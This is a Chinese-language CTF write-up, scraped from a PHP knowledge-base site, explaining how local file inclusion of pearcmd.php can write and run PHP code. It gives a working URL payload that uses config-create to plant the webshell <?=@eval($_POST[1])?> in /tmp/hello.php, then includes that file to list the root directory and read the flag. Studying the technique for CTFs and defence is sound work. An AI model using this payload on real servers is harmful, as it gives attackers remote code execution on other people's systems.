| 
 | |
| 
 | 
| 开发:
C++知识库 
Java知识库 
JavaScript 
Python 
PHP知识库 
人工智能 
区块链 
大数据 
移动开发 
嵌入式 
开发工具 
数据结构与算法 
开发测试 
游戏开发 
网络协议 
系统运维 教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 | 
| -> PHP知识库 -> 浅谈文件包含之包含pearcmd.php漏洞 -> 正文阅读 | 
|  | 
| [PHP知识库]浅谈文件包含之包含pearcmd.php漏洞 | 
| 文件包含之包含pearcmd.php漏洞1.概念pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。在7.3及以前,pecl/pear是默认安装的; 在7.4及以后,需要我们在编译PHP的时候指定--with-pear才会安装。 不过,在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php。 要利用这个pearcmd.php需要满足几个条件: (1).要开启register_argc_argv这个选项在Docker中使自动开启的 (2).要有文件包含的利用 我们再来看一下pearcmd.php可以接受哪些命令 
 2.利用看到config-create,去阅读其代码和帮助,可以知道,这个命令需要传入两个参数,其中第二个参数是写入的文件路径,第一个参数会被写入到这个文件中。 所以最后构造出payload: 上面是将<?=phpinfo()?>写到/tmp/hello.php,然后我们再使用文件包含进行包含我们之前写入的文件(hello.php)就可以了。 3.CTF案列:(1)将后门代码(<?=@eval($_POST[1])?>)传入指定文件(/tmp/hello.php) 注意1:用burpsuite传GET,用hackbar会被url编码,传入文件无法解析 
 注意2:/index.php可以去掉。只需要: ?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=@eval($_POST[1])?>+/tmp/hello.php 
 (2)访问传入的后门代码(hello.php文件),并传入参数执行。 先列出根目录。 
 查看源码,发现flag所在文件。 
 直接读取flag。 
 文章参考链接: | 
|  | 
| PHP知识库 最新文章 | 
| Laravel 下实现 Google 2fa 验证 | 
| UUCTF WP | 
| DASCTF10月 web | 
| XAMPP任意命令执行提升权限漏洞(CVE-2020- | 
| [GYCTF2020]Easyphp | 
| iwebsec靶场 代码执行关卡通关笔记 | 
| 多个线程同步执行,多个线程依次执行,多个 | 
| php 没事记录下常用方法 (TP5.1) | 
| php之jwt | 
| 2021-09-18 | 
|  | 
| 上一篇文章 下一篇文章 查看所有文章 | 
| 
 | 
| 开发:
C++知识库 
Java知识库 
JavaScript 
Python 
PHP知识库 
人工智能 
区块链 
大数据 
移动开发 
嵌入式 
开发工具 
数据结构与算法 
开发测试 
游戏开发 
网络协议 
系统运维 教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 | 
| 360图书馆 购物 三丰科技 阅读网 日历 万年历 2025年10日历 | -2025/10/31 13:10:28- | 
| 
 | 
| 网站联系: qq:121756557 email:121756557@qq.com IT数码 |